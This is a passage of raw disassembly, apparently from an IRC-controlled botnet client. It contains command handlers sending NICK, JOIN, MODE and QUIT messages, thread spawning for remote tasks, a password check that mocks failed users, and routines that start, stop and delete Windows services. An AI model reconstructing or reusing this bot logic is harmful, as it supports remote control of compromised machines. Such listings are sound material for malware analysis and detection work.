push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
push offset dword_42A750
jmp loc_40DCB3
; ---------------------------------------------------------------------------
loc_40DA41: ; CODE XREF: seg000:0040A529j
; seg000:0040A53Ej
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_406977
jmp loc_40DCD4
; ---------------------------------------------------------------------------
loc_40DA5A: ; CODE XREF: seg000:0040A4FFj
; seg000:0040A514j
push dword ptr [ebp+esi-9Ch]
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_408978
jmp loc_40DCD4
; ---------------------------------------------------------------------------
loc_40DA77: ; CODE XREF: seg000:0040A4D5j
; seg000:0040A4EAj
or edi, 0FFFFFFFFh
call ds:dword_41C04C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-9Ch]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_40DAA0
push esi
call sub_410A7F
pop ecx
mov edi, eax
loc_40DAA0: ; CODE XREF: seg000:0040DA95j
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_40DAB9
cmp edi, 0FFFFFFFFh
jnz loc_40E148
loc_40DAB9: ; CODE XREF: seg000:0040DAAEj
push ebx
call sub_40787D
push eax
lea eax, [ebp-2E4h]
push offset dword_42A724
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
loc_40DAF6: ; CODE XREF: seg000:0040BE1Fj
add esp, 28h
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40DAFE: ; CODE XREF: seg000:0040A4ABj
; seg000:0040A4C0j
push 1Eh
call sub_4101FF
test eax, eax
pop ecx
jle short loc_40DB32
cmp [ebp-8], ebx
jnz loc_40980B
push ebx
push dword ptr [ebp-4]
push offset dword_42A6F0
push dword ptr [ebp-98h]
loc_40DB22: ; CODE XREF: seg000:00409C19j
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40DB32: ; CODE XREF: seg000:0040DB08j
push dword ptr [ebp-98h]
lea eax, [ebp-4F8h]
push 80h
push eax
call sub_410A8A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-9Ch]
mov [ebp-4FCh], eax
mov eax, [ebp-4]
mov [ebp-470h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-46Ch], eax
mov [ebp-474h], ebx
jz short loc_40DB93
push esi
push offset aFull ; "full"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40DB93
mov dword ptr [ebp-474h], 1
loc_40DB93: ; CODE XREF: seg000:0040DB76j
; seg000:0040DB87j
lea eax, [ebp-2E4h]
push offset dword_42A6B4
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 1Eh
push eax
call sub_40FFB7
add esp, 14h
mov [ebp-478h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4FCh]
push ebx
push eax
push offset sub_40F59E
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-478h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40DC01
loc_40DBEB: ; CODE XREF: seg000:0040DBFFj
cmp [ebp-468h], ebx
jnz loc_40B462
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40DBEB
; ---------------------------------------------------------------------------
loc_40DC01: ; CODE XREF: seg000:0040DBE9j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2E4h]
push offset dword_42A664
push eax
call sub_41050B
add esp, 0Ch
jmp loc_40B462
; ---------------------------------------------------------------------------
loc_40DC21: ; CODE XREF: seg000:0040A481j
; seg000:0040A496j
cmp [ebp-8], ebx
jnz short loc_40DC40
push ebx
push dword ptr [ebp-4]
push offset dword_42A638
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40DC40: ; CODE XREF: seg000:0040DC24j
push dword ptr [ebp+0Ch]
call ds:dword_430828 ; closesocket
call ds:dword_430700 ; WSACleanup
call loc_4070D9
push ebx
call ds:dword_41C0F8 ; ExitProcess
loc_40DC5B: ; CODE XREF: seg000:0040A457j
; seg000:0040A46Cj
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call sub_40799C
pop ecx
pop ecx
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
push offset dword_42A60C
jmp short loc_40DCB3
; ---------------------------------------------------------------------------
loc_40DC86: ; CODE XREF: seg000:0040A42Dj
; seg000:0040A442j
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_407C50
add esp, 0Ch
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
push offset dword_42A5E0
loc_40DCB3: ; CODE XREF: seg000:0040DA3Cj
; seg000:0040DC84j
call sub_407E0E
loc_40DCB8: ; CODE XREF: seg000:0040CB2Fj
add esp, 18h
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40DCC0: ; CODE XREF: seg000:0040A403j
; seg000:0040A418j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_407EAE
loc_40DCD4: ; CODE XREF: seg000:00409755j
; seg000:0040DA55j ...
add esp, 10h
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40DCDC: ; CODE XREF: seg000:0040A3D9j
; seg000:0040A3EEj
cmp [ebp-0Ch], ebx
mov [ebp-374h], bl
jz short loc_40DD1B
mov esi, [ebp+esi-9Ch]
cmp esi, ebx
jz short loc_40DD1B
push esi
push dword ptr [ebp-0Ch]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40DD1B
push eax
push offset aS_1 ; "%s"
lea eax, [ebp-374h]
push 80h
push eax
call sub_410A8A
add esp, 10h
loc_40DD1B: ; CODE XREF: seg000:0040DCE5j
; seg000:0040DCF0j ...
push dword ptr [ebp-98h]
lea eax, [ebp-3F4h]
push 80h
push eax
call sub_410A8A
mov eax, [ebp+0Ch]
push offset dword_42A5B4
mov [ebp-3F8h], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
mov eax, [ebp-8]
mov [ebp-2ECh], eax
lea eax, [ebp-2E4h]
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 1Ch
push eax
call sub_40FFB7
add esp, 20h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F8h]
push ebx
push eax
push offset sub_407EEE
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40DDBB
loc_40DDA5: ; CODE XREF: seg000:0040DDB9j
cmp [ebp-2E8h], ebx
jnz loc_40980B
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40DDA5
; ---------------------------------------------------------------------------
loc_40DDBB: ; CODE XREF: seg000:0040DDA3j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
push offset dword_42A568
jmp loc_40E2CF
; ---------------------------------------------------------------------------
loc_40DDCC: ; CODE XREF: seg000:0040A3AFj
; seg000:0040A3C4j
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_407D96
push offset dword_42A53C
call sub_407E0E
loc_40DDE7: ; CODE XREF: seg000:0040D9ACj
add esp, 10h
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40DDEF: ; CODE XREF: seg000:0040A385j
; seg000:0040A39Aj
push dword ptr [ebp-98h]
lea eax, [ebp-4F8h]
push 80h
push eax
call sub_410A8A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-9Ch]
mov [ebp-4FCh], eax
mov eax, [ebp-4]
mov [ebp-470h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-46Ch], eax
jz short loc_40DE49
push offset dword_42A538
push esi
call sub_410930
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp-474h], eax
jmp short loc_40DE4F
; ---------------------------------------------------------------------------
loc_40DE49: ; CODE XREF: seg000:0040DE2Dj
mov [ebp-474h], ebx
loc_40DE4F: ; CODE XREF: seg000:0040DE47j
lea eax, [ebp-2E4h]
push offset dword_42A508
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push 1Fh
push eax
call sub_40FFB7
add esp, 14h
mov [ebp-478h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4FCh]
push ebx
push eax
push offset word_410022
push ebx
push ebx
call ds:dword_41C06C ; CreateThread
mov ecx, [ebp-478h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4358EC[ecx], eax
jz short loc_40DEB9
loc_40DEA7: ; CODE XREF: seg000:0040DEB7j
cmp [ebp-468h], ebx
jnz short loc_40DED4
push 32h
call ds:dword_41C058 ; Sleep
jmp short loc_40DEA7
; ---------------------------------------------------------------------------
loc_40DEB9: ; CODE XREF: seg000:0040DEA5j
call ds:dword_41C068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2E4h]
push offset dword_42A4BC
push eax
call sub_41050B
add esp, 0Ch
loc_40DED4: ; CODE XREF: seg000:0040CE41j
; seg000:0040CE59j ...
lea eax, [ebp-2E4h]
push eax
loc_40DEDB: ; CODE XREF: seg000:0040A5C6j
call sub_407E0E
pop ecx
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40DEE6: ; CODE XREF: seg000:0040A309j
; seg000:0040A31Ej
push offset aIds44433 ; "ids44433"
lea eax, [ebp-2E4h]
push offset dword_42A490
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 20h
jmp loc_40C8D7
; ---------------------------------------------------------------------------
loc_40DF1D: ; CODE XREF: seg000:0040A2DFj
; seg000:0040A2F4j
push ds:dword_45EBC8
call sub_40787D
push eax
lea eax, [ebp-2E4h]
push offset dword_42A450
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 24h
jmp loc_40C8D7
; ---------------------------------------------------------------------------
loc_40DF5B: ; CODE XREF: seg000:0040A2B5j
; seg000:0040A2CAj
mov esi, [ebp+esi-9Ch]
cmp esi, ebx
jz short loc_40DF8D
cmp [ebp-0Ch], ebx
jz short loc_40DF9C
push esi
push dword ptr [ebp-0Ch]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40DF9C
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
add esp, 0Ch
jmp short loc_40DF9C
; ---------------------------------------------------------------------------
loc_40DF8D: ; CODE XREF: seg000:0040DF64j
push offset aQuitLater ; "QUIT :later\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
pop ecx
pop ecx
loc_40DF9C: ; CODE XREF: seg000:0040DF69j
; seg000:0040DF78j ...
push 0FFFFFFFEh
jmp loc_40980D
; ---------------------------------------------------------------------------
loc_40DFA3: ; CODE XREF: seg000:0040A28Bj
; seg000:0040A2A0j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push offset dword_42A3FC
call sub_407E0E
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_40DFC5: ; CODE XREF: seg000:0040A261j
; seg000:0040A276j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push offset dword_42A3B8
call sub_407E0E
add esp, 0Ch
xor eax, eax
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_40DFE6: ; CODE XREF: seg000:0040A237j
; seg000:0040A24Cj
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_404EB9
loc_40DFF7: ; CODE XREF: seg000:0040CA9Bj
add esp, 0Ch
jmp loc_40E148
; ---------------------------------------------------------------------------
loc_40DFFF: ; CODE XREF: seg000:0040A192j
; seg000:0040A1A7j
push dword ptr [ebp+esi-9Ch]
push 1Eh
push offset dword_42A3A8
push offset dword_42A39C
loc_40E012: ; CODE XREF: seg000:0040A036j
; seg000:0040A05Fj ...
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_410245
add esp, 20h
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40E02E: ; CODE XREF: seg000:00409FF7j
; seg000:0040A00Cj
mov esi, [ebp+esi-9Ch]
cmp esi, ebx
jz short loc_40E088
push esi
call sub_410A7F
cmp eax, ebx
pop ecx
jl short loc_40E080
cmp eax, 2
jge short loc_40E080
mov edx, [ebp+20h]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40E078
lea eax, [esi+1]
push eax
lea eax, [ebp-2E4h]
push offset dword_42CB38
push eax
call sub_41050B
add esp, 0Ch
mov [esi], bl
jmp loc_40C65C
; ---------------------------------------------------------------------------
loc_40E078: ; CODE XREF: seg000:0040E057j
push eax
push offset dword_42A35C
jmp short loc_40E0C5
; ---------------------------------------------------------------------------
loc_40E080: ; CODE XREF: seg000:0040E042j
; seg000:0040E047j
push eax
push offset dword_42A31C
jmp short loc_40E0C5
; ---------------------------------------------------------------------------
loc_40E088: ; CODE XREF: seg000:0040E037j
mov edi, [ebp+20h]
xor esi, esi
loc_40E08D: ; CODE XREF: seg000:0040E0A9j
push dword ptr [ebp-0A0h]
push edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40E0B0
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E08D
jmp loc_40C65C
; ---------------------------------------------------------------------------
loc_40E0B0: ; CODE XREF: seg000:0040E09Dj
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C4h]
push eax
push offset dword_42CB38
loc_40E0C5: ; CODE XREF: seg000:0040D13Ej
; seg000:0040D7D8j ...
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 0Ch
jmp loc_40C65C
; ---------------------------------------------------------------------------
loc_40E0D9: ; CODE XREF: seg000:00409FCDj
; seg000:00409FE2j
push dword ptr [ebp-9Ch]
push offset a332 ; "332"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40E148
call sub_410180
push ebx
call ds:dword_41C0F8 ; ExitProcess
loc_40E0FB: ; CODE XREF: seg000:00409FA3j
; seg000:00409FB8j
push dword ptr [ebp+esi-9Ch]
xor eax, eax
cmp [ebp-9A4h], bl
setnz al
push eax
lea eax, [ebp-464h]
push ds:dword_423014
push eax
call sub_40FA4E
lea eax, [ebp-464h]
push eax
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
lea eax, [ebp-464h]
push eax
push offset dword_42A2E4
call sub_407E82
loc_40E145: ; CODE XREF: seg000:0040B5CAj
add esp, 24h
loc_40E148: ; CODE XREF: seg000:004099D3j
; seg000:004099DFj ...
mov eax, [ebp+2Ch]
jmp loc_40980E
; ---------------------------------------------------------------------------
loc_40E150: ; CODE XREF: seg000:00409A62j
; seg000:00409A77j
mov esi, [ebp+esi-9Ch]
cmp esi, ebx
mov [ebp+8], esi
jz loc_40980B
cmp [ebp-0A8h], ebx
jnz loc_40980B
push offset dword_42625C
push dword ptr [ebp-0A0h]
call sub_411C60
mov esi, eax
push offset dword_42F3E4
push ebx
inc esi
call sub_411C60
push offset asc_42A2E0 ; "~"
push eax
call sub_411C60
push dword ptr [ebp+8]
mov edi, eax
push offset aHi ; "hi"
call sub_410930
add esp, 20h
test eax, eax
jz short loc_40E1E6
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push edi
push esi
push offset dword_42A254
jmp short loc_40E242
; ---------------------------------------------------------------------------
loc_40E1E6: ; CODE XREF: seg000:0040E1ABj
mov dword ptr [ebp+2Ch], offset off_4230D8
loc_40E1ED: ; CODE XREF: seg000:0040E209j
mov eax, [ebp+2Ch]
push edi
push dword ptr [eax]
call sub_410310
pop ecx
test eax, eax
pop ecx
jnz short loc_40E256
add dword ptr [ebp+2Ch], 4
cmp dword ptr [ebp+2Ch], offset off_4230DC
jl short loc_40E1ED
lea eax, [ebp-0C4h]
push edi
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push edi
push esi
push offset dword_42A214
loc_40E242: ; CODE XREF: seg000:0040E1E4j
lea eax, [ebp-2E4h]
push eax
call sub_41050B
add esp, 30h
jmp loc_40C67D
; ---------------------------------------------------------------------------
loc_40E256: ; CODE XREF: seg000:0040E1FCj
mov edi, [ebp+20h]
xor esi, esi
loc_40E25B: ; CODE XREF: seg000:0040E285j
cmp [ebp+8], ebx
jz loc_40980B
cmp [edi], bl
jnz short loc_40E27B
push dword ptr [ebp+8]
push offset aHi ; "hi"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz short loc_40E28C
loc_40E27B: ; CODE XREF: seg000:0040E266j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E25B
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40E28C: ; CODE XREF: seg000:0040E279j
shl esi, 7
add esi, [ebp+20h]
lea eax, [ebp-0A94h]
push 7Fh
push eax
push esi
call sub_411D00
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40E2C3
push ebx
push dword ptr [ebp-4]
push offset dword_42A1E0
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40E2C3: ; CODE XREF: seg000:0040E2A7j
lea eax, [ebp-0C4h]
push eax
push offset dword_42A1AC
loc_40E2CF: ; CODE XREF: seg000:0040992Bj
; seg000:0040DDC7j
call sub_407E82
pop ecx
loc_40E2D5: ; CODE XREF: seg000:0040B46Ej
pop ecx
jmp loc_40980B
; ---------------------------------------------------------------------------
loc_40E2DB: ; CODE XREF: seg000:0040959Ej
; seg000:004095B3j
push dword ptr [ebp+18h]
push offset aUserhostS ; "USERHOST %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push offset dword_4230AC
push dword ptr [ebp+18h]
push offset aModeSS ; "MODE %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_40E321
add esp, 2Ch
mov ds:dword_45ED48, edi
jmp loc_40962D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E321 proc near ; CODE XREF: sub_409218+3Dp
; seg000:0040955Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41232F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4307E0 ; send
leave
retn
sub_40E321 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E367 proc near ; CODE XREF: sub_401000+88p
; seg000:004014BDp ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40E382
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40E382: ; CODE XREF: sub_40E367+14j
push edi
call sub_410B60
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_410B60
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_410A8A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_42CC40
push eax
call sub_41050B
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4307E0 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_40E400
push 7D0h
call ds:dword_41C058 ; Sleep
locret_40E400: ; CODE XREF: sub_40E367+8Cj
leave
retn
sub_40E367 endp
; =============== S U B R O U T I N E =======================================
sub_40E402 proc near ; CODE XREF: seg000:loc_40AA82p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_40E467
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push ds:dword_42CC58[esi]
push edi
push eax
call sub_40E489
add esp, 14h
test eax, eax
jnz short loc_40E44A
push edi
push ds:off_42CC54[esi]
mov esi, offset dword_45F410
push offset dword_42CD8C
push esi
call sub_41050B
add esp, 10h
jmp short loc_40E484
; ---------------------------------------------------------------------------
loc_40E44A: ; CODE XREF: sub_40E402+2Aj
push eax
call sub_40E52B
push eax
push edi
mov esi, offset dword_45F410
push offset dword_42CD50
push esi
call sub_41050B
add esp, 14h
jmp short loc_40E484
; ---------------------------------------------------------------------------
loc_40E467: ; CODE XREF: sub_40E402+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_45F410
push ds:off_42CC50[eax*4]
push offset dword_42CD18
push esi
call sub_41050B
add esp, 0Ch
loc_40E484: ; CODE XREF: sub_40E402+46j
; sub_40E402+63j
mov eax, esi
pop edi
pop esi
retn
sub_40E402 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E489 proc near ; CODE XREF: sub_40E402+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call ds:dword_430788 ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_40E4B0
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40E525
; ---------------------------------------------------------------------------
loc_40E4B0: ; CODE XREF: sub_40E489+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call ds:dword_43068C ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_40E4D0
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_40E51D
; ---------------------------------------------------------------------------
loc_40E4D0: ; CODE XREF: sub_40E489+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40E503
cmp eax, 3
jz short loc_40E4F4
jle short loc_40E516
cmp eax, 6
jg short loc_40E516
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call ds:dword_4306F4 ; ControlService
jmp short loc_40E50A
; ---------------------------------------------------------------------------
loc_40E4F4: ; CODE XREF: sub_40E489+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call ds:dword_430694 ; StartServiceA
jmp short loc_40E50A
; ---------------------------------------------------------------------------
loc_40E503: ; CODE XREF: sub_40E489+4Dj
push esi
call ds:dword_4306F8 ; DeleteService
loc_40E50A: ; CODE XREF: sub_40E489+69j
; sub_40E489+78j
test eax, eax
jnz short loc_40E516
call ds:dword_41C068 ; RtlGetLastWin32Error
mov ebx, eax
loc_40E516: ; CODE XREF: sub_40E489+54j
; sub_40E489+59j ...
push esi
call ds:dword_4306A8 ; CloseServiceHandle
loc_40E51D: ; CODE XREF: sub_40E489+45j
push edi
call ds:dword_4306A8 ; CloseServiceHandle
pop esi
loc_40E525: ; CODE XREF: sub_40E489+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40E489 endp
; =============== S U B R O U T I N E =======================================
sub_40E52B proc near ; CODE XREF: sub_40E402+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40E5E0
jz loc_40E5D9
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40E5A3
jz short loc_40E599
mov ecx, eax
sub ecx, 3
jz short loc_40E58F
dec ecx
dec ecx
jz short loc_40E585
dec ecx
jz short loc_40E57B
sub ecx, 51h
jz short loc_40E571
sub ecx, 24h
jnz loc_40E656 ; default
; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E571: ; CODE XREF: sub_40E52B+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E57B: ; CODE XREF: sub_40E52B+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E585: ; CODE XREF: sub_40E52B+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E58F: ; CODE XREF: sub_40E52B+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E599: ; CODE XREF: sub_40E52B+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E5A3: ; CODE XREF: sub_40E52B+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40E5D2
dec ecx
jz short loc_40E5CB
dec ecx
jz short loc_40E5C4
dec ecx
jnz loc_40E656 ; default
; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40E648
; ---------------------------------------------------------------------------
loc_40E5C4: ; CODE XREF: sub_40E52B+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E5CB: ; CODE XREF: sub_40E52B+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E5D2: ; CODE XREF: sub_40E52B+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E5D9: ; CODE XREF: sub_40E52B+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E5E0: ; CODE XREF: sub_40E52B+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40E656 ; default
; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
jz short loc_40E643
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40E656 ; default
; jumptable 0040E5FD cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_40E697[ecx]
jmp ds:off_40E66F[ecx*4] ; switch jump
loc_40E604: ; DATA XREF: seg000:off_40E66Fo
push offset aTheSpecifiedDa ; jumptable 0040E5FD case 7
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E60B: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheServiceDepe ; jumptable 0040E5FD case 17
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E612: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheServiceDe_0 ; jumptable 0040E5FD case 10
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E619: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheServiceHasB ; jumptable 0040E5FD case 0
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E620: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheSpecified_0 ; jumptable 0040E5FD case 2
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E627: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheServiceCoul ; jumptable 0040E5FD case 11
jmp short loc_40E648
; ---------------------------------------------------------------------------
loc_40E62E: ; CODE XREF: sub_40E52B+D2j
; DATA XREF: seg000:off_40E66Fo
push offset aTheServiceHa_0 ; jumptable 0040E5FD case 14
jmp short loc_40E648
